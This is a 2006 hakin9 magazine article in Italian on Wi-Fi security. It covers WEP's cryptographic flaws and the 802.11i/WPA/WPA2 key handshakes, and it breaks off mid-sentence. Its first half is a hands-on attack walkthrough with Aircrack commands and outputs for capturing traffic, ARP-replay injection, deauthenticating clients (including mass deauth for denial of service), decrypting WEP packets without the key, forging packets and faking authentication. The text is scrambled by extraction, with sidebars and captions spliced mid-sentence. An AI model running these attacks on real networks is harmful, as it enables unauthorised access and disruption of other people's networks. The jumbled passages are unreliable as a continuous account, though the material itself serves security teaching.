Sicurezza Wi-Fi – WEP, WPA e WPA2
Transcript
Sicurezza Wi-Fi – WEP, WPA e WPA2
Sicurezza Wi-Fi – WEP, WPA e WPA2 Guillaume Lehembre Articolo pubblicato nel numero 2/2006 della rivista hakin9 Tutti i diritti riservati. E vietato copiare e divulgare l’articolo in forma modificata. Rivista hakin9, Casa editrice Software-Wydawnictwo, via Piaskowa 3, 01-067 Varsavia, Polonia; [email protected] Sicurezza Wi-Fi – WEP, WPA e WPA2 Prima pagina Guillaume Lehembre Grado di difficoltà Il Wi-Fi (Wireless Fidelity) è una delle tecnologie wireless più importanti dei nostri giorni ed è sempre più presente nei nostri dispositivi: portatili, palmari e cellulari. Eppure c'è una aspetto relativo alla sua configurazione che viene spesso trascurato: la sicurezza. Analizziamo meglio la sicurezza dei metodi di crittografia usati nelle moderne apparecchiature Wi-Fi. A nche quando i dispositivi Wi-Fi hanno le misure di sicurezza attivate, viene spesso usato un protocollo di cifratura debole come il WEP. In questo articolo, esamineremo le debolezze del WEP e vedremo come è facile crackare il protocollo. La deplorevole inadeguatezza del WEP mette in evidenza la necessità di una nuova architettura di sicurezza come lo standard 802.11i, quindi analizzeremo da vicino anche i nuovi standard WPA e WPA2 insieme ai loro limiti e la loro integrazione nei sistemi operativi. In memoria del WEP Il WEP (Wired Equivalent Privacy) era il protocollo di cifratura predefinito del primo standard IEEE 802.11 introdotto nel lontano 1999. Esso si basa su un algoritmo di cifratura RC4 con una chiave segreta di 40 bit o 104 bit combinata con un vettore d'inizializzazione (Initialisation Vector, IV) di 24 bit per cifrare il messaggio in chiaro M e il relativo checksum – il cosiddetto valore di controllo dell'integrità (Integrity Check Value, ICV). Il messaggio cifrato C viene quindi prodotto con la seguente formula: dove || è un operatore di concatenazione e + è un operatore XOR. Come possiamo vedere, il vettore d'inizializzazione IV è la chiave di sicurezza WEP, quindi per mantenere un livello decente di sicurezza e minimizzare la divulgazione, il vettore IV dovrebbe essere aumentato per ogni pacchetto in modo che i pacchetti successivi sono cifrati con chiavi diverse. Sfortunatamente in questo caso, il vettore IV è trasmesso in formato testo e lo standard 802.11 non si occupa dell'aumento del vettore IV, lasciando questo metodo di sicurezza Dall'articolo imparerai... • • • • Cosa dovresti sapere... • • C = [ M || ICV(M) ] + [ RC4(K || IV) ] 14 hakin9 Nº 2/2006 i limiti della crittografia WEP, una panoramica generale sullo standard 802.11i e le sue implementazioni commerciali: WPA e WPA2, i concetti base del 802.1x, le eventuali debolezze di WPA e WPA2. www.hakin9.org i concetti base dei protocolli TCP/IP e Wi-Fi, conoscenza base di crittografia. Sicurezza WEP, WPA e WPA2 a particolari componenti di terminali wireless (punto d'accesso o scheda wireless). Breve storia del WEP Il protocollo WEP non era stato creato da esperti di sicurezza né da crittografi, quindi si rilevò subito vulnerabile ai problemi relativi all'algoritmo RC4 descritti da David Wagner quattro anni prima. Nel 2001, Scott Fluhrer, Itsik Mantin e Adi Shamir (FMS in breve) pubblicarono un famoso studio sul WEP, mostrandone le vulnerabilità in termini di RC4: la invariance weakness e gli attacchi a vettori IV conosciuti. Entrambi gli attacchi si basano sul fatto che i bit nei byte iniziali del keystream possono dipendere solo da alcuni bit della chiave di cifratura (anche se di solito ogni keystream ha il 50% delle possibilità di essere diverso dal flusso precedente). Dal momento che la chiave di cifratura è composta dalla concatenazione della chiave segreta e il IV, alcuni valori del vettore IV possono generare chiavi deboli. Le vulnerabilità vennero sfruttate da strumenti di sicurezza come AirSnort che permettono alle chiavi WEP di essere recuperate analizzando una quantità sufficiente di traffico. Mentre questo tipo di attacco potrebbe essere eseguito con successo su una rete impegnata entro un intervallo di tempo ragionevole, il tempo richiesto per l'elaborazione dei dati è abbastanza lungo. David Hulton (h1kari) progettò una versione ottimizzata dell'attacco, prendendo in considerazione non solo i primi byte del RC4 (come nel modello FMS), ma anche i successivi byte. Questo portò ad una leggera riduzione dei dati richiesti per l'analisi. La fase di verifica dell'integrità soffre anche di gravi debolezze dovute all'algoritmo CRC32 usato per questo compito. CRC32 è usato di solito per la rilevazione di errori, ma non era mai stato considerato sicuro a livello crittografico a causa della sua linearità, come affermarono già Nikita Borisov, Ian Goldberg e David Wagner nel 2001. Da allora si ritiene che il WEP fornisce un livello di sicurezza accettabile solo per utenze domestiche e applicazioni non-cruciali. Tuttavia, Fig. 1: Protocollo di cifratura WEP anche questa utilità venne smentita con l'apparizione degli attacchi KoreK nel 2004 (attacchi FMS generalizzati che comprendono le ottimazione di h1kari), e l'attacco induttivo di Arbaugh che consente ai pacchetti arbitrari di essere decriptati senza conoscere la chiave attraverso il packet injection. Dei programmi per il cracking come Aircrack di Christophe Devine o WepLab di José Ignacio Sánchez implementano questi attacchi e possono recuperare una chiave WEP di 128 bit in meno di 10 minuti (o poco più, a secondo del punto accesso specifico e la scheda wireless). L'aggiunta di packet injection migliora notevolmente i tempi di cracking del WEP, richiedendo non milioni, ma solo migliaia di pacchetti con sufficienti IV unici – circa 150.000 per una chiave da 64 bit e 500.000 per una chiave da 128 bit. Con il packet injection, raccogliere i dati necessari richiedeva una manciata di minuti. Al momento, WEP è quasi definitivamente morto (vedere Tabella 1) e non ne è consigliabile l'uso neanche con una chiave a rotazione. I limiti di sicurezza del WEP potrebbero essere riassunte come segue: • • • • debolezze dell'algoritmo RC4 del protocollo WEP a causa della costruzione della chiave, IV sono troppo brevi (24 bit – meno di 5000 pacchetti richiesti per una probabilità del 50% di collisione) e riutilizzo di IV consentito (nessuna protezione contro le ripetizioni di messaggio), nessuna valida verifica di integrità (CRC32 è usato per la rilevazione degli errori e non è sicuro a livello crittografico a causa della sua linearità), nessun metodo integrato per l'aggiornamento delle chiavi. Tabella 1. Storia del WEP Data Descrizione Settember 1995 Possibile vulnerabilità RC4 (Wagner) Ottober 2000 Primo studio sui limiti del WEP: Unsafe at any key size; An analysis of the WEP encapsulation (Walker) May 2001 Un attacco induttivo in testo chiaro contro il WEP/WEP2 (Arbaugh) July 2001 Attacco CRC di tipo bit flipping – Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner) August 2001 Attacchi FMS – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir) August 2001 Uscita di AirSnort February 2002 Attacchi FMS ottimizzati da h1kari August 2004 Attacchi KoreK (IV unici) – uscita di chopchop e chopper July/August 2004 Uscita di Aircrack (Devine) e WepLab (Sanchez ) che implementa gli attacchi KoreK www.hakin9.org hakin9 Nº 2/2006 15 Prima Pagina Listing 1. Attivazione della modalità di monitoraggio # airmon.sh start ath0 Interface Chipset ath0 Atheros Richieste ARP Driver madwifi (monitor mode enabled) Listing 2. Rilevazione di reti vicine e dei rispettivi client # airodump ath0 wep-crk 0 BSSID 00:13:10:1F:9A:72 PWR 62 Beacons 305 # Data 16 BSSID 00:13:10:1F:9A:72 STATION 00:0C:F1:19:77:5C Il cracking della chiave WEP con Aircrack Il cracking del WEP può essere facilmente eseguito usando strumenti quali Aircrack (creato dal ricercatore francese Christophe Devine). Aircrack contiene tre utility principali, usate in tre fasi di attacco diverse per il recupero della chiave: • • • airodump: per lo sniffing e la cattura delle reti provviste del WEP, aireplay: per il packet injection e aumento del traffico, aircrack: per il cracking di chiavi WEP attraverso la cattura di IV unici. Al momento aireplay supporta l'injection solo su determinati chipset wireless, mentre l'injection in modalità di monitoraggio (monitor mode) richiede i più moderni driver patchati. La modalità di monitoraggio è l'equivalente della modalità promiscua nelle reti wired, e evitano il rifiuto dei pacchetti che non sono intesi per l'host che monitora (che è spesso svolto nel livello fisico della pila OSI) e quindi consentendo ai pacchetti di essere catturati. Con i dirver patchati, è richiesta solo una scheda wirelss per catturare e aumentare il traffico allo stesso tempo. Lo scopo principale dell'attacco è di generare traffico e catturare i vettori IV unici usati tra un client legittimo e un punto d'accesso. Alcuni dati cifrati sono facilmente riconoscibili perché hanno una lunghezza fissa, un indirizzo di destinazione fisso, ecc. Questo 16 hakin9 Nº 2/2006 PWR 56 CH 1 MB 48 Packets 1 ENC WEP ESSID hakin9demo ESSID hakin9demo è il caso dei pacchetti di richiesta ARP (vedere Riquadro Richieste ARP), che sono inviati all'indirizzo broadcast (FF:FF:FF:FF:FF:FF) e hanno una lunghezza fissa di 68 ottetti. Le richieste ARP possono essere ritrasmesse per generare nuove risposte ARP da un host legittimo, che risulta nello stesso messaggio wireless cifrato con i nuovi IV. Nei seguenti esempi, 00:13:10: 1F:9A:72 è l'indirizzo MAC del punto di accesso (BSSID) sul canale 1 con il SSID di hakin9demo e 00:09:5B: EB:C5:2B è l'indirizzo MAC del client wireless (usando WEP o WPA-PSK, a secondo dei casi). Per eseguire lo sniffing avremo bisogno dei privilegi di root. Il primo passo è attivare la modalità monitor sulla nostra scheda wireless (in questo caso un modello Atheros), quindi possiamo catturare tutto il traffico (vedere Listing 1). Il passo successivo è rilevare le reti vicine e i loro client controllando tutti i 14 canali che le reti Wi-Fi possono usare (vedere Listing 2). Il risultato nel Listing 2 è interpretato come segue: un punto di accesso con il BSSID 00:13:10:1F:9A: 72 usa la cifratura WEP sul canale 1 con il SSID hakin9demo e un client identificato dall'indirizzo MAC 00: 0C:F1:19:77:5C sono associati con questa rete wireless e autenticati. Una volta localizzata la rete di destinazione, è necessario iniziare la cattura sul canale corretto per evitare di mancare i pacchetti mentre www.hakin9.org Il protocollo Address Resolution Protocol (ARP – RFC826) è usato per tradurre un indirizzo IP di 32 bit in un indirizzo Ethernet di 48 bit (le reti Wi-Fi usano anche il protocollo Ethernet). Per illustrarlo meglio, prendiamo un host A (192.168.1.1) che vuole comunicare con l'host B (192.168.1.2), un indirizzo IP noto deve essere tradotto in un indirizzo MAC usando il protocollo ARP. Per farlo, l'host A invia un messaggio broadcast con l'indirizzo IP dell'host B (Who has 192.168.1.2? Tell 192.168.1.1). L'host di destinazione riconosce l'indirizzo IP nel pacchetto è uguale al suo e restituisce una risposta (192.168.1.2 is at 01:23:45:67:89:0A). La risposta viene di solito memorizzata. si scansionano gli altri canali. Il seguente comando produce lo stesso output del comando precedente: # airodump ath0 wep-crk 1 Successivamente, possiamo usare le informazioni raccolte prima per aumentare il traffico con aireplay. L'injection inizierà quando ci appare nella rete wireless una richiesta ARP associata con il BSSID: # aireplay -3 \ -b 00:13:10:1F:9A:72 \ -h 00:0C:F1:19:77:5C \ -x 600 ath0 (...) Read 980 packets (got 16 ARP requests), sent 570 packets... Infine, aircrack viene usato anche per recuperare la chiave WEP. Attraverso il file pcap possiamo lanciare questo passo finale mentre airodump è ancora intento a catturare i dati (vedere Fig. 2 per i risultati): # aircrack -x -0 wep-crk.cap Altri tipi di attacchi con Aircrack Aircrack è in grado di lanciare anche altri tipi di attacchi molto interessanti. Analizziamone alcuni. Sicurezza WEP, WPA e WPA2 Attacco 2: Deautenticazione Questo attacco può essere usato per recuperare un SSID nascosto (cioè che non è broadcast), catturare una handshake WPA a 4 vie o lanciare un attacco di tipo Denial of Service (ne parleremo in dettaglio più avanti, nella sezione sul 802.11i). Lo scopo dell'attacco è di obbligare il client a ri-autenticarsi che, insieme ad una mancata autenticazione per le trame di controllo (usati per l'autenticazione, associazione, ecc), consente all'aggressore di falsare gli indirizzi MAC. Un client wireless può essere deautenticato con il seguente comando facendo in modo che i pacchetti di deautenticazione siano inviati dal BSSID al client MAC falsificando il BSSID: # aireplay -0 5 -a 00:13:10:1F:9A:72 -c 00:0C:F1:19:77:5C ath0 La de-autenticazione di massa è altrettanto possibile (anche se non sempre affidabile) chiedendo all'aggressore di falsificare continuamente il BSSID e re-inviare il pacchetto di de-autenticazione all'indirizzo broadcast: # aireplay -0 0 -a 00:13:10:1F:9A:72 ath0 Attacco 3: Decriptare pacchetti WEP arbitrari senza conoscerne la chiave Questo attacco si basa su uno strumento proof-of-concept della KoreK detto chopchop che è in grado di decriptare i pacchetti WEP cifrati senza conoscerne la chiave. Il controllo di integrità implementato sul protocollo WEP permette ad un aggressore di modificare sia un pacchetto cifrato sia il CRC corrispondente. Inoltre, l'uso dell'operatore XOR nel protocollo WEP significa che il byte selezionato nel messaggio cifrato dipende sempre dallo stesso byte del messaggio in chiaro. Eliminando l'ultimo byte del messaggio cifrato genera una corruzione del messaggio ma permette anche di indovinare il valore del byte corrispondente in Fig. 2: Risultati di Aicrack dopo alcuni minuti formato testo e adeguare il messaggio cifrato. Se il pacchetto corretto è poi re-injected nella rete, esso verrà abbandonato dal punto di accesso se la previsioni sono sbagliate (in tal caso deve essere fatto una nuova previsione), ma per una previsione corretta verrà ritrasmesso come al solito. Ripetendo l'attacco per tutti i byte del messaggio si può decifrare un pacchetto WEP e recuperare il keystream. Tenente a mente che nel protocollo WEP l'incremento del vettore IV non è obbligatorio, è possibile riutilizzare questo keystream per falsare i pacchetti successivi (riutilizzando lo stesso IV). La scheda wireless deve essere passata in modalità di monitoraggio sul canale giusto (vedere l'esempio precedente per una descrizione su come fare). L'attacco deve essere lanciato contro un client legittimato (ancora 00:0C:F1:19:77:5C nel nostro caso) e aireplay dirà all'aggressore di accettare ogni pacchetto cifrato (vedere Listing 3). Vengono creati due file pcap: uno per il pacchetto decifrato e l'altro per il relativo keystream. Il file che ne risulta può essere letto attraverso un lettore adatto (useremo tcpdump) – vedere Listing 4 per un ping di esempio scambiato tra due host. Una volta catturato il keystream è possibile falsare qualsiasi pacchetto. Di seguito vi presentiamo una richiesta ARP falsata inviata da www.hakin9.org 192.168.2.123 (00:0C:F1:19:77:5C) a 192.168.2.103: # arpforge \ replay_dec-0916-114019.xor \ 1 \ 00:13:10:1F:9A:72 \ 00:0C:F1:19:77:5C \ 192.168.2.123 \ 192.168.2.103 \ forge-arp.cap Infine, aireplay è usato per ritrasmettere questo pacchetto (vedere Listing 5). Questo metodo è meno automatico della falsificazione della richiesta ARP eseguita da Aircrack (l'opzione -1), ma è più scalabile – l'aggressore può usare i keystream scoperti per alterare qualsiasi pacchetto che non appartiene più al keystream (altrimenti è necessario espandere il keystream). Attacco 4: Falsa autenticazione Il metodo per cracker la chiave WEP appena descritto (Attacchi 1 e 3) richiedono un client legittimo (reale o virtuale, anche se reale è preferibile) che sia associato ad un punto d'accesso affinché il punto d'accesso non rifluiti i pacchetti a causa di un indirizzo di destinazione non associato. Se viene usata un'autenticazione aperta, qualsiasi client può essere autenticato e associato con un punto di accesso, ma il punto di accesso ri- hakin9 Nº 2/2006 17 Prima Pagina fiuterà ogni pacchetto non cifrato con la chiave WEP giusta. Nell'esempio del Listing 6, Aireplay è usato per falsificare un'autenticazione e un'associazione per il SSID hakin9demo (BSSID: 00:13:10:1F:9A:72) con l'indirizzo MAC falsato 0:1:2:3:4:5. Alcuni punti di accesso richiedono ai client di riassociarsi ogni 30 secondi. Questo comportamento può essere imitato in aireplay sostituendo la seconda opzione (0) con 30. Listing 3. Decriptare pacchetti WEP senza conoscere la chiave # aireplay -4 -h 00:0C:F1:19:77:5C ath0 Read 413 packets... Size: 124, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = 00:13:10:1F:9A:70 Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 d500 0013 101f 9a72 000c f119 775c 0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c 0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c 0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 0x0070: 3b88 c5b1 0843 0289 1bff 5160 Use this packet ? y Saving chosen packet in replay_src-0916-113713.cap Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 (...) Offset 35 (97% done) | xor = 83 | pt = 00 | 691 Offset 34 (98% done) | xor = 2F | pt = 08 | 692 Saving plaintext in replay_dec-0916-114019.cap Saving keystream in replay_dec-0916-114019.xor Completed in 183s (0.47 bytes/s) .A.......r....w\ .....p.@......., \.'...h.#..GZ.[v .x.....0...hV.Sl pF_..K....j.4wt. .......5#.U...[. .+>.[...";.D7... ;....C....Q` 802.11i frames written in frames written in 1120ms 2013ms frames written in frames written in 2072ms 2076ms Listing 4. Lettura di un file pcap # tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) 11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f: 9a:70 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254: ICMP echo request, id 23046, seq 1, length 64 Listing 5. Ritrasmissione di un pacchetto alterato # aireplay -2 -r forge-arp.cap ath0 Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 0201 0013 101f 9a72 000c f119 775c 0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c 0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c 0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a 0x0040: 49b7 52da Use this packet ? y Saving chosen packet in replay_src-0916-124231.cap You must also start airodump to capture replies. Sent 1029 packets... .A.......r....w\ ..............., \.'.I.`.%.KF.... ..S.o-.....3..Q. I.R. Listing 6. Falsa autenticazione # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 18:30:00 Sending Authentication Request 18:30:00 Authentication successful 18:30:00 Sending Association Request 18:30:00 Association successful 18 hakin9 Nº 2/2006 www.hakin9.org Nel gennaio del 2001, nell'ambito dell'IEEE venne creato un task group i per migliorare l'autenticazione dei dati 802.11 e la sicurezza crittografica. Nell'aprile del 2003, la Wi-Fi Alliance (un'associazione per la promozione e la certificazione Wi-Fi) distribuì una raccomandazione per rispondere alle preoccupazioni delle aziende in merito alla sicurezza wireless. Tuttavia, erano anche consapevoli del fatto che i clienti non avrebbero sostituito la loro attrezzatura tanto facilmente. Nel giugno del 2004, venne adottato lo standard 802.11i e ricette il nome commerciale di WPA2 dalla Wi-Fi Alliance stessa. Lo standard IEEE 802.11i introdusse cambiamenti fondamentali come la separazione tra l'autenticazione dell'utente dalla segretezza e l'integrità del messaggio, fornendo una architettura di sicurezza robusta e scalabile adatta sia per le reti domestiche sia per grossi sistemi aziendali. La nuova architettura per le reti wireless è nominata Robust Security Network (RSN) e utilizza l'autenticazione 802.1X, una distribuzione della chiave robusta e nuovi meccanismi di segretezza e integrità dei dati. Anche se l'architettura RSN è molto complessa, essa fornisce delle soluzioni sicure e scalabili per le comunicazioni wireless. Un RSN normalmente accetta solo dispositivi RSN, ma IEEE 802.11i definisce anche un'architettura Transitional Security Network (TSN) in cui possono partecipare sia RSN sia i sistemi WEP, consentendo anche agli utenti di aggiornare i loro strumenti. Se le procedure di autenticazione o di associazione usate tra le sta- Sicurezza WEP, WPA e WPA2 IEEE 802.1X e EAP Il protocollo di autenticazione IEEE 802.1X (noto anche come Port-Based Network Access Control) è una framework sviluppata in origine per le reti wired che fornisce meccanismi di autenticazione, di autorizzazione e di distribuzione chiave, e implementano il controllo sull'accesso per utenti che entrano nella rete. L'architettura IEEE 802.1X si compone di tre entità principali: • • • il supplicant che entra nella rete, l'autenticatore che fornisce il controllo sugli accessi, il server di autenticazione che esegue le autorizzazioni. Nelle reti wireless, il punto di accesso funge da autenticatore. Ogni porta fisica (porta virtuale nelle reti wireless) si divide in due porte logiche che compongono il PAE (Port Access Entity). L'autenticazione del PAE è sempre aperta e permette di far passare i le trame di autenticazione mentre il servizio PAE viene aperto solo in seguito ad una autenticazione andata a buon fine (come in uno stato autorizzato) per un certo periodo di tempo (3600 secondi di default). La decisione di permettere l'accesso è eseguita di solito dalla terza entità, cioè il server di autenticazione (che può essere un server Radius dedicato o – per esempio nel caso di reti domestiche – un processo che gira su un punto di accesso). La Fig. 3 illustra come queste tre entità comunicano tra loro. Lo standard 802.11i esegue piccole modifiche al IEEE 802.1X per le reti wireless per far fronte alla possibilità di furto di identità. L'autenticazione del messaggio deve essere incorporato affinché sia il supplicant sia l'autenticatore calcolino le chiavi segrete e permettono la cifratura prima di accedere alla rete. Il supplicant e l'autenticatore comunicano usando un protocollo EAP. Come potete notare, il ruolo dell'autenticatore è essenzialmente passivo – potrebbe semplicemente inoltrare tutti i messaggi al server di autenticazione. EAP è una framework per il trasporto di diversi metodi di autenticazione, accettando solo un numero limitato di messaggi (Request, Response, Success, Failure), mentre gli altri messaggi intermediari dipendono dal metodo di autenticazione scelto: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5, EAP-SIM ecc. Quando l'intero processo è completato (a causa del gran numero di possibili metodi non ci addentreremo nei dettagli), entrambe le entità (cioè il supplicant e il server di autenticazione) hanno una chiave principale segreta. La comunicazione tra l'autenticatore e il server di autenticazione procede utilizzando il protocollo EAPOL (EAP Over LAN), usato nelle reti wireless per il trasporto di dati EAP con i protocolli di livello superiore come Radius. zioni utilizza una handshake a 4 vie, l'associazione è detta RSNA (Robust Security Network Association). Per stabilire una comunicazione è necessario avere quattro fasi (vedere Fig. 4): • • • • pubblicizzate su Beacon o in un messaggio Probe Respond (seguendo un Probe Request dal client). Ne segue un'autenticazione aperta standard (proprio come nelle reti TSN, dove l'autenticazione è sempre a buon fine). La risposta del client viene incluso nel messaggio di tipo Association Request confermato dalla risposta Association Response dal punto di accesso. Le informazioni sulla politica di sicurezza è inviata nel campo RSN IE (Information Element) con i dettagli su: • • • • metodi di autenticazione supportati (802.1X, Chiave segrete precondivisa (PSK)), protocolli di sicurezza per traffico unicast (CCMP, TKIP ecc.) – la pairwise cipher suite, protocolli di sicurezza per il traffico multicast (CCMP, TKIP etc.) – il group cipher suite, supporto per la pre-autenticazione, permettendo agli utenti di pre-autenticarsi prima di passare ad un nuovo punto di accesso della stessa rete per un passaggio senza interruzioni. La Fig. 5 raffigura la prima fase. Fase 2: autenticazione 802.1X La seconda fase è l'autenticazione 802.1X basata sul EAP e il metodo di autenticazione concordato in precedenza: EAP/TLS con certificati client e server (che richiedono una infrastruttura per chiave pubblica), EAP/ TTLS o PEAP per l'autenticazione ibrida (con certificato richiesti solo per i server) ecc. L'autenticazione 802.1X viene iniziata quando il punto di accesso richiede i dati di identità del client, con la risposta del client contenente il metodo di autenticazione scelto. I messaggi adatti sono poi scambiati tra il client e il server accordo sulla politica di sicurezza, autenticazione 802.1X, derivazione e distribuzione di chiave, segretezza e integrità dei dati RSNA. Fase 1: Accordo sulla politica di sicurezza La prima fase richiede alle parti coinvolte nella comunicazione di stabilire un accordo sulla politica di sicurezza da adottare. Le politiche di sicurezza supportate dal punto di accesso sono Fig. 3: Modello IEEE 802.1X dalla specifica IEEE 802.1X www.hakin9.org hakin9 Nº 2/2006 19 Prima Pagina La PMK stessa non è mai usata per il controllo di cifratura o integrità. Invece, è usato per generare una chiave di cifratura temporanea – per il traffico unicast si tratta di una PTK (Pairwise Transient Key). La lunghezza della PTK dipende dal protocollo di cifratura: 512 bit per TKIP e 384 bit per CCMP. La PTK consiste di diverse chiavi temporanee: • Fig. 4: Le fasi operative del 802.11i di autenticazione per generare una chiave maestra comune (MK). Alla fine della procedura, un messaggio Radius Accept è inviato dal server di autenticazione al punto di accesso che contiene la MK e il messaggio EAP Success per il client. La Fig. 6 rappresenta questa seconda fase. Fase 3: Distribuzione e gerarchia di chiave La sicurezza nelle connessioni dipende molto dalle chiavi segrete. Nel RSN, ogni chiave ha una vita limitata e la sicurezza generale è garantita da un'insieme di diverse chiavi, organizzate in una gerarchia. Quando viene stabilito un contesto di sicurezza dopo una autenticazione andata a buon fine, le chiavi temporanee (di sessione) vengono create e aggiornate regolarmente fino a quando il contesto di sicurezza non viene chiuso. La generazione e lo scambio delle chiavi sono affidati alla terza fase. Si hanno due handshake durante le derivazione delle chiavi (vedere Fig. 7): • • • PSK viene generata dalla passphrase (da 8 a 63 caratteri) o una stringa di 256 bit e fornisce una soluzione per le reti domestiche e di piccole imprese che non hanno un server di autenticazione, se viene usato un server di autenticazione, la PMK è derivata dall'autenticazione 802.1X MK. Handshake a quattro vie per la derivazione della PTK (Pairwise Transient Key) e della GTK (Group Transient Key), Group Key Handshake per il rinnovo della GTK. 20 se viene usata una PSK (PreShared Key), PMK = PSK. La hakin9 Nº 2/2006 • • Fig. 5: Fase 1: Accordo sulla politica di sicurezza La derivazione della PMK (Pairwise Master Key) dipende dal metodo di autenticazione usato: • • KCK (Key Confirmation Key – 128 bit): Chiave per i messaggi di autenticazione (MIC) durante la Handshake a 4 vie e la Group Key Handshake, KEK (Key Encryption Key – 128 bit): Chiave per garantire la segretezza durante la Handshake a 4 vie e la Group Key Handshake, TK (Temporary Key – 128 bit): Chiave per la cifratura dei dati (usata per TKIP o CMMP), TMK (Temporary MIC Key – 2x64 bit): Chiave per l'autenticazione Fig. 6: Fase 2: Autenticazione 802.1X www.hakin9.org Sicurezza WEP, WPA e WPA2 dei dati (usata solo da Michael con TKIP). Una chiave dedicata è usata per ogni lato delle comunicazione. Questa gerarchia è riassunta nella Fig. 8. Tramite la Handshake a 4 vie, iniziata dal punto di accesso, è possibile: • • • • • confermare la conoscenza del client della PMK, derivare una nuova PTK, installare chiavi di cifratura e di integrità, cifrare il trasporto della GTK, confermare la selezione di cifratori. I quattro messaggi EAPOL-Key sono scambiati tra il client e il punto di accesso durante la Handshake a 4 vie. Questo processo viene illustrato nella Fig. 9. La PTK viene derivata dalla PMK, una stringa fissa, l'indirizzo MAC del punto di accesso, l'indirizzo MAC del client e due numeri casuali (ANonce e SNonce, generati rispettivamente dall'autenticatore e il supplicant). Il punto di accesso inizializza il primo messaggio selezionando il numero casuale ANonce e lo invia al supplicant, senza cifrare il messaggio o proteggendolo in alternativa contro il miscuglio. Il supplicant genera il proprio numero causale SNonce e adesso può calcolare una PTK e le chiavi di derivazione temporanee, quindi invia SNonce e la chiave MIC calcolata dal secondo messaggio usando la chiave KCK. Quando l'autenticatore riceve il secondo messaggio, può estrarre SNonce (perché il messaggio non è cifrato) e calcolare la PTK e le chiavi di derivazione temporanee. Adesso può verificare il valore della MIC nel secondo messaggio e essere sicuro che il supplicant conosca la PMK e che ha calcolato correttamente la PTK e le chiavi di derivazione temporanee. Il terzo messaggio inviato dall'autenticatore al supplicant contiene la GTK (cifrata con la chiave KEK), derivata da una GMK casuale e GNonce (vedere Fig. 10 per dettagli), insieme ad una MIC calcolata Fig. 7: Fase 3: Derivazione e distribuzione di chiave Fig. 8: Fase 3: Pairwise Key Hierarchy dal terzo messaggio usando la chiave KCK. Quando il supplicant riceve questo messaggio, la MIC viene controllata per essere sicuri che l'autenticatore conosca la PMK e ha calcolato correttamente la PTK e le chiavi di derivazione temporanee. L'ultimo messaggio riconosce il completamento dell'intera handshake e indica che il supplicant adesso installerà la chiave e iniziare la cifratura. Dopo la ricezione, l'autenticatore installa le proprie chiavi dopo aver verificato il valore MIC. Quindi, il dispositivo mobile e il punto di accesso hanno ottenuto, calcolato e installato le chiavi di cifratura e adesso sono in grado di comunicare su un canale sicuro per traffico unicast e multicast. Il traffico multicast è protetto da un'altra chiave, la GTK (Group Transient Key) generata da una chiave principale detta GMK (Group Master Key), una stringa fissa, l'indirizzo www.hakin9.org MAC del punto di accesso e un numero casuale GNonce. La lunghezza GTK dipende dal protocollo di cifratura – 256 bit per la TKIP e 128 bit per la CCMP. La GTK si divide in diverse chiavi temporanee: • • GEK (Group Encryption Key): Chiave per la cifratura dei dati (usata da CCMP per l'autenticazione e la cifratura e dalla TKIP), GIK (Group Integrity Key): Chiave per l'autenticazione dei dati (usata solo da Michael con TKIP). Questa gerarchia è riassunta nella Fig. 10. Durante il Group Key Handshake vengono scambiati due messaggi EAPOL-Key tra il client e il punto di accesso. Questa handshake fa uso di chiave temporanee generate durante la Handshake a 4 vie (KCK e KEK). Questo processo è illustrato nella Fig. 11. hakin9 Nº 2/2006 21 Prima Pagina Protocol Data Unit). Entrambi si riferiscono ad un singolo pacchetto di dati, ma il MSDU rappresenta anche i dati prima della frammentazione, mentre i MPDU sono unità di dati multipli dopo la frammentazione. La differenza è importante nella cifratura TKIP e CCMP, dal momento che in TKIP la MIC viene calcolata dal MSDU, mentre nel CCMP vene calcolata dal MPDU. Proprio come WEP, la TKIP si basa sull'algoritmo di cifratura RC4, ma esiste per una sola ragione: per permettere ai sistemi WEP di essere aggiornati e implementare protocolli più sicuri. La TKIP è richiesta per la certificazione WPA ed è anche inserita nel RSN 802.11i come opzione facoltativa. La TKIP aggiunge anche misure correttive per tutte le vulnerabilità WEP descritte prima: Fig. 9: Fase 3: Handshake a 4 vie La Group Key Handshake è richiesta solo per dissociare un host e per rigenerare la GTK su richiesta di un client. L'autenticatore inizializza il primo messaggio scegliendo il numero causale GNonce e calcolando una nuova GTK. Poi invia al supplicant la GTK cifrata (usando KEK), il numero di sequenza GTK e la MIC calcolata da questo messaggio usando KCK. Quando il supplicant riceve il messaggio, la MIC viene verificata e la GTK può essere decifrata. Il secondo messaggio riconosce il completamento della Group Key Handshake inviando un numero di sequenza GTK e la MIC calcolata su questo secondo messaggio. Dopo la ricezione, l'autenticatore installa la nuova GTK (dopo aver verificato il valore MIC). Esiste anche una STAkey Handshake, ma non ne discuteremo in questo articolo. Supporta la creazione dal punto di accesso di chiavi segrete di tipo transient chiamate STAkey per le connessioni ad-hoc. • supportano la segretezza e l'integrità dei dati RSNA: • • • TKIP (Temporal Key Hash), CCMP (Counter-Mode / Cipher Block 